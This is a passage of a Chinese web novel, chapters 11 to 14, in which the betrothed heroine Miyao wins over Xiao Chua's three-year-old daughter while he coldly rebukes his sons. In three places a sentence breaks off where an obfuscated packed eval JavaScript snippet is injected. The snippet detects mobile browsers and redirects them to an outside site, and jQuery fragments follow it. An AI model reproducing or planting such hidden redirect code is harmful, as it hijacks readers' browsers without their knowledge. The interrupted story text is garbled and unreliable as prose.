虞琇瘪嘴,瞧他像个鹌鹑一样窝囊觉得他没出息,现在他拿出主子的气势,她看着也不爽快。
一个孤儿罢了,凭什么往后能喊她阿姊为母亲。
11. 第十一章
萧欻没用晚膳,一直睡到寅时转醒,如往常般晨操结束,见天有了亮的意头,就去了孩子的院落。
他这一去正好抓到了萧善出逃。
丁点大的肉团子,穿着石榴红袄儿,头上带了顶毛茸茸的貂皮帽,小心关了房门后,开始加快速度往前冲。
濮青与他说萧善第一眼看到虞女就亲热异常,非要虞女抱她,不然就大哭不止。
他听着觉得稀奇,认为是府里下人夸大了两人亲近。
想确定萧善是不是真去找虞女,萧欻尾随她身后,等到她跑到厢房门外,他才逮住了她的后衣领。
“不睡觉往别人房里跑什么?”
对小丫头说话,萧欻已经极力放软了声调,但对萧善来说明显还不够。
后背被抓,萧善吓了一跳,两只手像是受惊的小动物,握紧蜷缩在胸前,眼眸瞪得圆圆的,哪怕看到出现的是萧欻,眼里依然满是惊恐。
“见着是我还害怕?”
怕从出生起就经常在她周围出现的亲人,却不出怕才来几天的虞女。
萧欻看了眼紧闭的门扉,轻嗤了声,也不知道虞女有什么奇异术法,难不成是他们名门望族的特别传承。
萧善认识萧欻,但不代表她喜欢萧欻,愿意被他带走。
他刚迈开步往回走,萧善就尖叫了起来,女童尖锐的嗓音伴随着哇哇的哭声,萧欻被打了个措不及防,想捂她的嘴也晚了。
“哭什么哭,我只是带你回去,又不是要罚你骂你。”
萧欻声音带了一丝无奈。
萧善刚出生那阵倒是常哭,到了半岁左右没了祖母,大约是知道不会有嫡亲长辈仔细疼她了,她的哭的次数便少了许多。
这两年他基本没怎么听她哭过。
谁想到在他面前乖了两年,这会却在不该发出声音的时刻哭的不止。
难不成她觉着虞女会像她祖母那般疼她爱她?
“萧镇使是来找我家娘子?”
厢房外站了一个高大的男人,霜华和诗雅骇了一跳,镇定下来,见男子的穿着打扮,还有怀里抱着的萧小娘子,霜华才试探地开口问道。
既然萧小娘子在这里,就很可能是小娘子学了上次模样,偷偷跑到厢房找她家主子,只是这次有萧欻中途发现。
但萧欻逮到人只是抱着,站在厢房外面没有离开的意思,霜华见状只有开口问他是不是找宓瑶。
而面对霜华的询问,萧欻没有直接回答,而是道:“别让她哭了。”
面对萧善哭泣哭泣的次数太少,乍然见她哭泣不止,威胁无用,哄孩子他也不会,萧欻干脆把人递给了婢女。
抱着怀里的小娘子,霜华连忙颠了颠,见萧善依然哇哇大哭,朝诗雅使了使眼色,让她去问主子该如何处理。
诗雅进了厢房,霜华不敢让萧欻在门口等:“镇使不若去隔壁小厅稍等,已有下人去寻小娘子的嬷嬷,有贴身的嬷嬷哄小娘子,小娘子应该没一会就不哭了。”
萧欻没动,狭长的眸子看着毫无动静的雕花木门。
“把人抱进来。”
女子困倦慵懒的嗓音响起,霜华大舒了一口气,看向萧欻:“那奴婢把小娘子抱进去了?”
萧欻瞥了眼听到宓瑶声音便停止哭泣的萧善,真想跟着她一同进去,好看看宓瑶是什么本事,脸都不露,不过一道懒洋洋的嘱咐就让孩童止哭。
不过他理智尚存,萧善不哭他就没有多留,转身去找濮青,想知道这两天他错过了什么,他与虞女还未拜堂,他都不觉自己有了妻子,萧善倒是先把虞女当做亲娘。
*
诗雅还没进屋询问,宓瑶就已经被小萝卜的哭声吵醒。
躺在床上睁着眼,她本来想萧欻这个当爹的有点用,把吵吵闹闹的小萝卜带走,但小萝卜哭声一直不停。
明白萧欻这是要把责任推给她这个还没拜过堂的娘子,她只有出声让霜华把人给送进屋。
“你这小娘子难不成是色鬼转世,被我迷得神魂颠倒,连自个爹都不认了,只要与我睡在一块。”
霜华去准备热水给萧善擦脸,宓瑶瞧着小萝卜发红的眼眶,还有萎靡的神色,猜想她不见小萝卜后,小萝卜可能不止哭过这一场,不由点着小萝卜肉乎乎的脸蛋胡说。
而小萝卜不知道是听懂还是没听懂,小手抓住了宓瑶的手指,挂着泪珠的脸委屈地瘪了瘪嘴巴。
“真是叫你赖上了。”
忌惮着原主未来的命运,宓瑶不好对小萝卜用什么手段,让她远远地离开她。
为了甩掉黏人的小萝卜,她愿意背叛娇妻守则动一动脑子,但想半天也想不到什么办法跟不会说话只会哇哇哭的小萝卜讲道理。
只能等着萧善自个腻了不来烦她。
捂着唇打了个哈欠,宓瑶让诗雅拿来润脸的香膏,手指沾了一点在手心化开,然后手心贴紧萧善擦拭过的脸蛋,给她滋润皮肤。
小萝卜的皮肤不错,看着光滑,摸着也没有皴裂的痕迹。
但既然要待在她身边,那就少不得要用捏脸揉脸当报酬,既然是这样小萝卜这张肉脸就得好好保护。
她可不敢还萧欻一个脸蛋被摸坏的女儿。
宓瑶手指沾上香膏,萧善鼻子耸动,嗅到香香的味道,瞪圆了眼睛盯着宓瑶的手直看。
等到宓瑶的手心贴合她的脸蛋,她眼睛瞪的更圆,不过片刻就享受地眯了起来。
见帽子遮住了小萝卜的额头,宓瑶本想取下,但小萝卜察觉她的动作,下意识拉住了帽子,睁开眼睛小心地把帽子往上推了一点,露出她的额头。
宓瑶顿了顿,没在她貂帽上纠结,把香膏均匀地涂抹在萧善的脸上,还给她按摩了片刻才停下。
“小娘子睡熟了。”
怕吵醒萧善,霜华压低了嗓音。
“就让她在这睡,要是白日萧镇使没有交代,往后她想在这里睡就在这里睡,不过要给她准备一张小床。”
虽然萧善睡觉老实,除却抱着她搂着她,不会翻来踢去,但毕竟才三岁,她还是怕萧善控制不住尿床。
她可不想被尿浇醒。
时辰还早,宓瑶睡意被闹腾淡了也不打算起床。
给萧善涂过面膏后她没有净手,而是让霜华给她再上了一层厚厚的润膏,顺便保养手指。
等到宓瑶再次醒来已经是巳时末,厨房的厨子已经开始准备晌午饭,而小萝卜则是被霜华带出去用了早粥,又躺回了宓瑶身边睡觉。
宓瑶换衣服时,见萧善已经换了套大红福纹小袄,扫了眼她头上那顶换什么衣服都稳定不动的小帽。
倒是忘了趁小萝卜睡觉的时候看看是怎么回事。
“萧镇使有没有交代什么?”
“镇使今早是跟大郎二郎一起用膳,听到小娘子和娘子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584027|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还在睡,只说让小厨房备好早食,等到小娘子醒来好用。”
“原话是如何?说的是厨房,还是小厨房?”
听到霜华说萧欻的原话就是让小厨房准备,宓瑶翘了翘唇,她本以为萧欻连吴媪的手艺都不嫌弃,是个没有味觉的。
看来他也晓得她的厨子做饭好吃,觉着小萝卜赖在她身边,是贪嘴想在她这儿吃些味美的东西。
不过她到萧府之后就让人打整了小厨房,没有吃过萧家厨子做的食物。
总不会那么大一个府邸,厨子做的东西跟吴媪没什么差别吧。
想着,宓瑶不禁可怜地瞅了小萝卜一眼。
对上她的目光,小萝卜咧嘴笑了笑,扑腾地想去她怀里。
宓瑶:“……”
别的不说,小丫头倒是挺会得寸进尺。
净了面,宓瑶打开了雕花红木匣子,开始挑选今日佩戴的首饰。
而萧善跪坐在旁侧的板凳上,目不转睛地看着匣子里五光十色闪耀异常首饰,看虞琇拿了发簪往宓瑶头上戴,她也选了一枝要戴在宓瑶头上。
“这支赤金簪跟阿姊今日的衣裳又不配,你小心些别戳伤了我阿姊。”
虞琇一边说,一边拿过萧善手上的簪子放回妆奁。
听出虞琇对萧善不像昨日般语带厌恶,而是换成了暗戳戳的嫌弃。
宓瑶想笑,相比于说要好好伺候姐夫的虞琇,她对现在的虞琇更顺眼。
虽然一个三岁,一个十三,但虞琇既然没成年,看不顺眼小丫头,跟小丫头斗气也不算太过。
而萧善这会倒是脾气好,被虞琇拿掉簪子也没哭,好像还懂了虞琇说的不配,重新在匣子里挑了一枝花纹跟宓瑶身上衣裳花纹一样的鎏金花簪。
“倒是挺会挑的,那就这支。”
宓瑶配合小萝卜的手长,朝她的方向侧了侧头。
知道选得东西得到了宓瑶的认可,萧善眼眸发亮,扶着宓瑶的肩膀,小心翼翼地把簪子插进了她的发髻之中。
“这都插歪了。”
虞琇小声碎念,重新把簪子取出给宓瑶簪好。
小萝卜则不在意这个,只是拿着虞琇已经放下的象牙梳,扶起一缕宓瑶的头发,露出小白牙给她梳头发。
见宓瑶没说什么,虞琇在心里哼了句梳过的头发还梳,不懂事的蠢丫头。
有了宓瑶的纵容,萧善一整日都黏在了宓瑶身边,宓瑶看书时她也不觉得无聊,给她几枚把玩的小玩意她就能乐呵呵的玩半天。
至于忧心她来看望她的哥哥们,她抬头看了一眼就收回了视线,那模样就像是在跟亲哥哥们装不熟,生怕她朝他们露个笑脸,他们就把她带跑了。
见状,萧良委委屈屈地朝着大哥红眼眶:“善儿不要我们了。”
“我们的妹妹怎么会不要我们,她只是喜欢夫人,想与夫人多待一会。”
“可是她都不看我们,晌饭也不与我们吃。”
“那是因为夫人的午膳是小厨房准备,善儿在夫人身边,自然是跟夫人一起吃小厨房准备的午食。”
萧翼好不容易安抚了萧良,等到阿爹回府有话跟宓瑶说,把妹妹抱回给了他们。
萧良又红了眼眶:“母亲不要善儿了。”
萧翼:“……”
怎么什么二弟都觉得委屈,他看二弟根本就是单纯闹孩子脾气,没事找事来讨他哄。
12. 第十二章
“你与善儿说了什么?”
萧欻本以为他与宓瑶单独说话,萧善被带离宓瑶身边少不得哭闹,谁知道宓瑶抱着萧善说了两句,萧善就安静跟丫头走了,只是踏出门槛的时候回头不舍地看了看宓瑶。
当然只是看宓瑶。
他从进门到她离开,萧善都没有往他的方向瞟一眼。
活像他才是那个刚到萧府,没跟她见过几面的陌生人。
“说了让她乖乖去跟哥哥们玩一会,到了晚上我再接她过来一起吃晚膳。”
“就这样?”
萧欻褐眸闪过一丝疑惑,凝视宓瑶的目光更加锋利。
“不然还能如何?”
宓瑶对上萧欻审视的眼眸,眨了眨眼,娇嗔道,“萧郎不会觉得我吓了萧小娘子,才让她乖乖听话吧?”
萧欻瞧她袅袅娉娉的柔弱姿态,若是吓人有用,也该是他的威胁更做效,今早他吓唬萧善连把她喂老虎的话都说了。
但丝毫没有用。
都让他怀疑萧善是这几个月又愚笨了不少,听不懂他说的威胁。
“三日后你我结缡,关于婚典你有什么布置安排,只管去找账房支银子。”
萧善依赖宓瑶他没查出来所以然。
但他不想张嘴问宓瑶得到答案,这世上不可能有让人孩童依赖陌生人的异术,知晓两人几次见面都有人在旁,虽然觉得离谱,但事实应该就是宓瑶投了萧善的眼缘。
哪怕宓瑶几次见萧善,待萧善都算不上亲热,只是怕她哭泣不止不好收场,才勉强把她留在身边,但萧善依然像感觉不到,一而再再而三抱着宓瑶不放。
内部的原因找不到,萧欻只能把原因归咎于宓瑶的脸。
萧善是丫头,而大多丫头都爱美爱俏,虞女这张脸,比夏花还妍丽几分,会讨小姑娘喜欢也不奇怪。
只要宓瑶心中有度,能藏好对萧善的排斥,分出几分耐心满足萧善对她亲热,他就当她有功,多给她几分权利,至少让她过得比在江南时自在。
“萧郎留步。”
见萧欻说完抬步要离开,宓瑶连忙叫住了他。
“还有事?”
休息了一夜,萧欻眼中的红血丝淡了许多,但眼中如刃的淡漠冷意却未消失。
视线不轻不重地落在宓瑶身上,自上而下,不像是欣赏美人,而是在看什么无关紧要的陈设。
触到萧欻的冷淡,宓瑶还算自在,她能感觉在荆州时,萧欻对她的亲密是为了试探。
如今他对她有所了解,不需要再试探之后,他就恢复了他的本性。
她十分欣赏他的不好女色,并且希望他继续保持。
至于叫住他,是为了他说的可以随意问账房支银子。
可以随意支银钱很好,但支银钱是为了布置婚礼就不好了。
“萧郎可是跟我开玩笑,成婚之事哪有让未婚的娘子去操持。”
“你来安排不好?”
萧欻眉头微皱,不懂虞女何意,他放权给她,她模样不像是刻意装作惶恐推拒,而是真的觉得这事不该由她管理。
“自然不好。”
萧欻是赵天赫的养子,官拜正四品军镇使,是手下有一万兵马的实权武官。
他的婚礼操持起来想就知道麻烦的要命。
哪怕是一切从简,婚宴上什么菜也需要头疼。
怕萧欻因为她对马家母女不客气,对她产生什么误会,宓瑶觉着有些事情要先说清楚。
“萧郎应该找个能管事的管家操持内宅。除却婚典,萧郎平日在外面奔波,我与孩子们都需要有人照看,若是没有个统领府邸的主心骨,郎君在外领兵打仗,回府还得安抚我们,那郎君也太累了。”
听完宓瑶的话,萧欻眼中心意阑珊的冷漠渐散,换上了幽深的探究。
“所以你不是这个主心骨?”萧欻嘴角翘起,嗓音略带戏谑,“你以为我娶你是为了什么?”
“自然是因为我貌美,美到能让萧郎升起娇养的心思。”
不管萧欻什么神色,宓瑶都是以娇媚应对,软糯的嗓音与含了春水的美目,全心全意地瞧着他。
“嫁给郎君后,我会把所有心神都放在打扮模样上,我往后会越来越美,若是到四十萧郎嫌弃我不美了,我就躲在后院,安静地过完此生。”
萧欻没见过宓瑶这般奇异的人。
但因为没有对比,他也不知道是不是所有貌美的女人都是她这般。
说话是恭顺谨慎地把自己摆在低贱的地位,听着委屈可怜,但姿态却隐隐带着高人一等强硬。
像是逼他这个“主人”必须得小心伺候她这朵娇花,不然他就不配做人。
“你的心力只用在脸上?”
“不是萧郎说的,金钱与权利才是美人的补品。”
太常被宓瑶用他的话来堵他自己,萧欻几次怀疑她是在说反话讥讽他,但偏偏她面上一片坦荡,眼中全是信赖。
“可你只要金钱不要权利。”
“当个管事算什么权利。”
宓瑶捂嘴轻笑,杏眸泛起漂亮的碎光,“美人要的权利该是坐享其成的权利,而不是当牛做马的权利。”
她语气坦荡认真,看出这是她真实想法,萧欻漠然。
他之前怀疑她不是虞少阳的嫡亲妹妹有意查她。
第一步他就审问了给她和桓冠斌驾车的车夫,天冷车夫在车外驾车,没有全须全尾听到两人的谈话。
但宓瑶把桓冠斌说哭的几句,车夫是听清了。
他当时听到车夫叙述,还多想了几分,想虞女是不是知晓前路危险,用这种方式逼退情郎。
而现在他则是确定了,那话一定是出自虞女真心。
他把她想的太有脑子,太有心肝。
她这般世家女,在外多少名誉加身,内里都是贪图享乐,心中眼中都只有自己的草包。
*
宓瑶话都这般说了,萧欻自然不会再跟她提管家之事。
隔日他去了节度使府邸,问养父赵天赫借了可以暂管府中事务的管事。
见萧欻借人借到了他家里,赵天赫笑道:“你婚事本来就该由我这个义父操持,早就给你准备好了人,不过你借人要借半个月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584028|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是什么意思,觉着虞女不好,怕她掌权苛待你几个孩子?”
“她比孩儿想的更识时务,不惧远嫁,也未曾拿孩儿的出身说事。”
知道虞女有情夫,他原本打算胁迫恐吓她几次,才能教她与情夫断了老实待在萧府。
这一点上宓瑶十分省心,那一夜到现在她都未曾问过桓冠斌的死活,看她性子往后也不会再问。
他娶虞女本就是为了虞少阳,如今已经跟虞少阳有了联系,虞少阳也有了辞官前往蜀地的意思,虞女已经算是物尽其用。
想通这点,他对于宓瑶贪图享乐就没了想法。
她觉得管理府中事务是为他当牛做马,那他就依她的意思找个管事,让她能继续做她万事不管的娇花。
“她不嫌弃你,那你如何看她,得了她心中欢不欢喜?”
赵天赫打量养子肃然冷硬的眉眼,笑道,“你小子有福气,江南第一美人,淮南节度使与江宁郡王争夺了几年,最后被你小子冒出头抢了。”
“虞女的确貌美。”
虽然他求娶宓瑶的原因都在宓瑶的兄长身上,但他不否认宓瑶的确是他见过的女子中最美的一个。
萧欻说完,见赵天赫在等他继续开口,萧欻想了想他的问题:“孩儿运气不错。”
“你这小子,美人给你也是糟蹋。”
赵天赫笑斥道,萧欻十七八岁时,他就想着给萧欻娶门妻子,好能照顾他孩子和老娘。
谁晓得还没寻到合适的,萧欻的娘亲就去了,守完孝萧欻得了个第一美人,还算是运道不错,但看萧欻这个没开窍的模样,怕是享受不到什么夫妻之乐,往后还会那么副冷清模样。
“你对你未来夫人多用点心,虞女不愿意掌权管事,应是看你太凶怕了你,你对她多些温柔耐心,你那么好的一个男儿,她怎么可能不对你柔顺体贴,好好与你过日子。”
“孩儿知道。”
萧欻不觉得宓瑶对他不柔顺。
她想过好日子,但只是过好她的日子,而不是与他的日子。
等到办完事情回府,萧欻与萧翼两兄弟一起用饭。
餐桌上萧良几次偷看萧欻,最后鼓起勇气小声询问道:“等到阿爹跟母亲办了婚典,我们是不是就能跟善儿和母亲一起用饭了?”
触到萧良眼中的期待,萧欻蹙眉,不懂宓瑶明显不愿与几个孩子过多牵连,他们一个个却像是看不懂眼色,期待宓瑶这个母亲与他们亲热。
萧善那个只会苦恼不停道理的丫头他没办法管教,至于两个儿子。
萧欻不喜他们对宓瑶有没必要的期待,冷声叮嘱,“你们称她为是母亲,也不代表你们可以把她当做亲生母亲麻烦,一切如常,有奶娘有下人,你们不需要再多一个人照顾你们。”
听完阿爹的话,萧良明白阿爹的意思是说他不可能像妹妹一样与宓瑶同住一屋,宓瑶也不会抱他,与他多说两句亲热话。
他一边从板凳上站起,学着哥哥的样子点头应承,一边控制不住让眼眶多了许多水水。
明白了只是善儿有了娘亲,不是他们都有了娘亲疼爱。
13. 第十三章
萧欻眼睛能百步穿杨,自然看到了萧良眼中积蓄的水光。
再者萧良也没掩藏自己所思所想的本事,低头吃着饭眼泪就从眼眶中滴了出来,砸在饭中的还好,砸在碗上桌上的就发出了些许动静。
萧良不敢去看萧欻,只能慌乱地用手背擦拭眼泪,快速地往嘴里扒饭。
又哭又吃,没几口就呛着咳天咳地,眼泪鼻涕一脸。
萧欻没有搭理他的意思,吃完了碗中最后一口才搁下筷子。
而搁下筷子后,萧欻没走,眸光锐利直直看着萧良,像是厌烦他的动静弄脏了食物,打扰了他吃饭。
明白阿爹是想让二弟自己独立解决问题,萧翼闭着嘴端正地坐在椅子上,当做听不到二弟的抽泣。
只是听见二弟越咳越厉害,像是喘不过气,他还是忍不住还是拍了拍二弟的背。
“有什么好哭?谁教你得不到想得到的东西,就用眼泪应对,你以为你是你的傻子妹妹,三岁还不懂事,还是你也想当个傻子,做个只懂得哭闹永远对任何事都无能为力的孩童。”
萧欻冷言冷语,因为萧善的眼泪,他已经积了一肚子气,如今再看到萧良的眼泪,他只觉得蠢的可以。
跟小两岁的妹妹学这些没用的东西。
可惜孩童哭闹可能对虞女有用,对他没有一点用处。
“阿爹,我错了……我不想哭的……”
萧良拼命摇头,他知道阿爹不喜欢看到他们哭,但刚刚他就是忍不住,他以为吃饭就好了,谁知道会呛到。
萧欻扫过他脸上的脏污,走之前朝大儿子道:“萧翼,管好你弟弟。”
“阿爹放心,二弟只是吃太快呛着,他懂事听得懂阿爹的嘱咐,我们不会打扰夫人。”
萧翼送走萧欻后,给萧良擦脸捶背,见他顺过气来才松了一口气。
萧欻一走,萧良憋不住的哭声释放了出来,张着嘴委屈地看着大哥:“阿爹是不是生气了,我不想哭的,但我忍不住……”
“阿爹不会跟你计较的,只是下次二郎努力忍住好不好?二郎是大孩子了,应该能忍住不哭的。”
萧翼知道萧良心里难受,边拍他的背边安慰他,“以后哭的时候也不要吃饭,会呛出毛病。”
“我以为吃饭就不会哭了。”
谁知道怎么往嘴里扒饭都没用,想哭还是想哭。
萧良抽泣着从鼻间摸出了一颗米粒。
“大哥我好脏,你会不会也不喜欢我了?”
原本要停下的抽泣,又因为这个猜想忍不住哗哗掉眼泪。
“你只是呛住了才会鼻子里面有米,再说你是我弟弟,我永远都不会觉得你脏。”
萧翼带着萧良去洗了脸,见他缓过来彻底不哭了,才问道:“吃饱了没有,还要不要再吃点饭食?”
萧良摇头,过了片刻,他眼巴巴地看向萧翼:“我想去看善儿。”
兄弟俩对视,萧翼知道萧良不止是想看妹妹还想看宓瑶,想到阿爹的嘱咐,萧翼把萧良带回房间,确定屋里只有他们两人,他才教导弟弟道:“夫人是我们未来的母亲,我们要敬重她,要在她面前讲规矩,但我们不是她亲生的孩子,她往后会有自己亲生的孩子,善儿还小就算了,我们两个是大孩子,我们要是也让夫人照顾,会麻烦到夫人,给夫人带来困扰。”
“可是……”
萧良瘪着嘴又想掉眼泪了,他知道妹妹小不懂事可以不讲规矩,但是他也想有娘亲多抱抱他,也想脸上涂香香的膏膏。
“大哥,我想娘了。”
他已经忘了自己亲娘的模样,只记得一点点祖母抱妹妹的样子。
以前他想象娘亲抱他,怎么都想不成样子,直到昨日做梦,梦到了宓瑶抱他,他脑海中的娘亲才有了脸。
他知道宓瑶不是他的亲娘,知道宓瑶会和阿爹生其他的孩子,到时候他就会变成多余的累赘,但他还是想有娘抱抱他。
为什么他没有娘?
如果他也有娘就好了。
*
萧欻训斥萧良没有背着萧府下人,所以没隔一个时辰,宓瑶在厢房就听到了全部内容。
每当这个时候,她就觉得萧府格外需要一个有本事的管事,若是有好管事管理府邸,让下人们守规矩不敢乱传主子的闲话,她也不必听小孩受罪。
虽然很不想承认,但哪怕是纸片人,她听到孩童被大人仗着权威欺负,依然觉得怄气。
怪不得三个萧家孩子都没有小主人的派头,萧翼看着好点,但也只是拙劣的模仿大人,看着成熟,而不是心中有底气,在有长辈仔细教导的情况下礼仪周全。
“姐夫似乎嫌弃萧大郎和二郎,不想他们来烦阿姊,也不想阿姊费心关照他们。”
说完了闲言碎语,虞琇装作无意地开口,想要宓瑶重视萧欻不喜欢萧翼他们的事,往后好少与三个孩子纠缠。
特别是最小那个。
虞琇看向坐在宓瑶腿上,拿着点心在啃的萧善,确定她就是个小傻子,说她亲哥哥被骂哭了她都没有什么反应。
“唔。”
宓瑶应了一声,瞧模样也不知道她是同意了虞琇的话还是不在意。
但从她接下来举动看来,她明显是不在意。
“吃完了点心,我们洗头好不好?”
宓瑶下颌压在小萝卜毛茸茸的帽子上,想到什么开口道。
她跟小萝卜不是面对面的状态,但小萝卜却知道她的话是对她说的。
因为宓瑶感觉到她说完,小萝卜僵了僵,连手上还剩一半的点心都不啃了。
宓瑶把小萝卜转了一个身,面对面地看向她:“本来想趁你睡觉瞧瞧你为何一直带着帽子,但我觉得这般不对,想要看你的秘密就得经过你的同意。”
瞅着小萝卜紧紧抓着帽檐的手,这萝卜脑袋,她今天是非要看不可了。
小孩子的头上的问题可大可小,总不会范嬷嬷照护孩子那么不尽心,衣裳给孩子穿得好好的,脑袋却长了虱子。
“让我看看好不好?”
对待宓瑶的询问,萧善立马摇了摇头。
摇完她小心翼翼地看向宓瑶,怕她生气不愿意再抱她,但想到要取帽子,她瘪着嘴巴,觉得两个选择都好难。
见小萝卜眼眶发红,宓瑶连忙摆手:“我想看你脑袋不只是为了满足好奇,是想看看你需不需
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584029|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要我的帮忙。”
萧府的人说萧善不说话是因为傻,说她听不懂话,脑子跟一岁小孩差不多。
但她觉得萧善是听得懂的,所以她看着萧善,细声慢语地与她商量,“你每日给我梳头,就不想我给你梳头?”
萧善看了看宓瑶的头发,摇了摇头,但在宓瑶柔和的目光下,又点了点头,松开了帽檐。
宓瑶没有立刻取掉她的帽子,而是捏了捏她的脸:“放心,不管是怎么样,我既答应了让你每日找我,就不会轻易反悔。”
她原本不想跟书中人有太多牵扯,大家保持井水不犯河水的状况最好。
但萧善年纪小,对她又有莫名的好感。
她既然没有好办法甩开小萝卜,那就当做开通了个养崽的副本小游戏,以玩游戏的心态,把小萝卜留在身边打发时间。
既然是养崽游戏,当然得把崽养好才行。
听到宓瑶的保证,小萝卜紧绷的身体松弛下来。
她另一只手摸过点心,油腻腻的不敢乱碰其他地方,所以只能一只手悬空摊着,一只手抬高一点点地推帽子。
看出小萝卜不是在犹豫,而是真的同意取帽子,宓瑶帮她把帽子摘了下来。
“啊,怎么这般……”
虞琇一直在旁看着宓瑶与萧善的互动,见阿姊对萧善那么温柔,她有种凭什么的气愤,所以在看到萧善帽子下的脑袋,她故意控制不住惊讶,发出了惊愕的叫声。
不过萧善并不在意旁人,只是定定瞧着宓瑶,见宓瑶伸手躲了一下,但看到宓瑶脸上的温柔,还是让宓瑶把手放在她的头上。
“挺可爱的,像是蒲公英。”宓瑶翘唇笑了笑,揉了揉小萝卜细软如绒毛的发丝。
萧善的头发稀疏发黄,而且只有很薄的一层,这样的头发放在中年男人头上,那就是谢顶,但是放在三岁的小姑娘头上却挺可爱。
薄薄的头发像是没有重量的绒毛,风一吹就飘了起来。
“有人说你这般不好看?”
见宓瑶不嫌弃她的脑袋,萧善高兴地露出了一排小牙粒,抱住宓瑶的手,她用力地点了点头。
“那是他们不懂得什么叫好看,就像是小鸟一样,刚生出来的时候身上会有细细的绒毛,你也是这般等到往后养一养就跟我一样。”
听到能跟宓瑶一样,萧善眼睛亮了亮,小心地摸了摸她顺滑的头发,然后又伸手摸了摸自己的头发。
“我小时候与你差不多。”
宓瑶虽然不知道原主三岁的头发是什么样子,但不妨碍她哄小孩。
说要洗头,宓瑶看了小萝卜的脑袋也没忘了这事。
让霜华准备好热水,她挽了袖子,让萧善躺下亲自动手给她洗了个头。
她是真挺喜欢萧善头发的手感,稚嫩的像是刚长出来的动物绒毛,脆弱软绵。
怕小萝卜着凉,洗完后,宓瑶迅速给她擦干包了头发。
吸水的棉布包在小萝卜头上,宓瑶揉了揉她的脸:“像个小包子似的。”
被说成像包子,小萝卜也不气,她趴在宓瑶的手上,用力鼓起了腮帮,让宓瑶瞧着她更像个白白嫩嫩,皮薄肉厚的乖巧包子。
14. 第十四章
去了趟节度使府邸,萧欻从赵天赫那儿借了赵府的管家还有一个管事嬷嬷。
两人风风火火,不过一天,宓瑶吃饱出门消食散步,萧府就有了些样子。
赵天赫接管蜀地后,几州刺史他换了不知几轮,如今益州刺史由赵天赫兼任,他早有府邸,就把刺史府给了萧欻。
刺史府给萧欻不知道算不算是糟蹋。
府邸有四进,处处都看得出曾经的主人的奢华与清雅的喜好。
她第一日来,看着宅邸飞檐缀满玻璃莲花,雕花门廊,惊叹了片刻。
但等到踏入府邸,看到了落满尘屑的太湖石,一潭死水的残荷塘,还有九曲回廊边上一排排疏于打整已经半死不活的花植。
她就知道了这里对萧欻就是个能住的地方,他并不在意在府里看到的风景是什么。
主人家不在意,她这个外来借宿的自然也不会多事。
只想着跟萧欻成婚之后,把自己能看到的地方慢慢打整起来。
如今看到府邸在管事的操持下焕然一新,她真想为自己鼓掌,她可真是给萧欻提了个好建议。
就是不知道萧欻能不能把两位管事在萧府留长一点,马上过年了府邸里还有一堆事需要操持,若是没人统筹,她大可能只囤积自个要用的吃穿,不会去管府里的其他人。
“可算见到虞娘子了,虞娘子安好。”
在管事嬷嬷旁侧的潘氏,见宓瑶带着萧善往朝她们方向前进,主动迎了上去,“我与九哥是养兄妹,九哥要迎娶虞娘子进门,父君让我来看看有何能帮到九哥的。”
潘氏上一世见过宓瑶,如今再见依然惊叹宓瑶的美貌。
论相貌她自认也算是出众,可这份出众放在宓瑶身边一比就逊色许多,同样都是洁白无瑕的肌肤,宓瑶的白就是能与旁人不同。
似雪似玉似梦中仙人。
还有她那乌黑浓密的青丝,也不知道是不是江南的风土格外养人,让虞女处处精致。
不知道是不是心中有事,潘氏越打量宓瑶越觉得她似乎跟上一世不同。
上一世宓瑶虽美但也只是凡间的美人,而现在则是美的不像真人。
想着,潘氏看向了宓瑶旁侧的萧善,萧善戴着顶瑞兽织锦帽,帽子下头垂下了两根细小的辫子,手上捧了个小巧袖炉,眼眸发亮地朝四周打量,看什么都一副新鲜模样。
她上一世忙着再嫁,没有注意萧家的一切。
所以也不晓得虞女最开始到萧家时与萧善是什么关系,所以说刚开始时虞女不厌恶萧善?
或是用这种方法让萧欻放松警惕,好把孩子安心交给她。
“辛苦马夫人了。”
潘氏比马家母女讲究做客的规矩,所以宓瑶先前就晓得了她过来帮忙,朝她福了福就打算换个方向继续散步。
但明显潘氏还没与宓瑶说够。
“往后虞娘可以把我当做姐姐,有什么不便只管与我说,我一见虞娘就觉得投缘,往后要多多来往才是。”
听到潘氏说觉得她投缘,却没有夸她貌美,宓瑶就晓得潘氏看她并不是真正的投缘。
她身上最值得夸奖的就是脸蛋,要是同性有意交好,定然会特意提及赞叹几声拉近关系,但潘氏刻意忽略,不管潘氏是出于什么心思,她都觉着两人不需要多多来往。
翘唇笑了笑,宓瑶客气回道:“自然。”
“善儿,你的虎头哥哥也随姑母一同来了,你想去与他一起玩吗?”
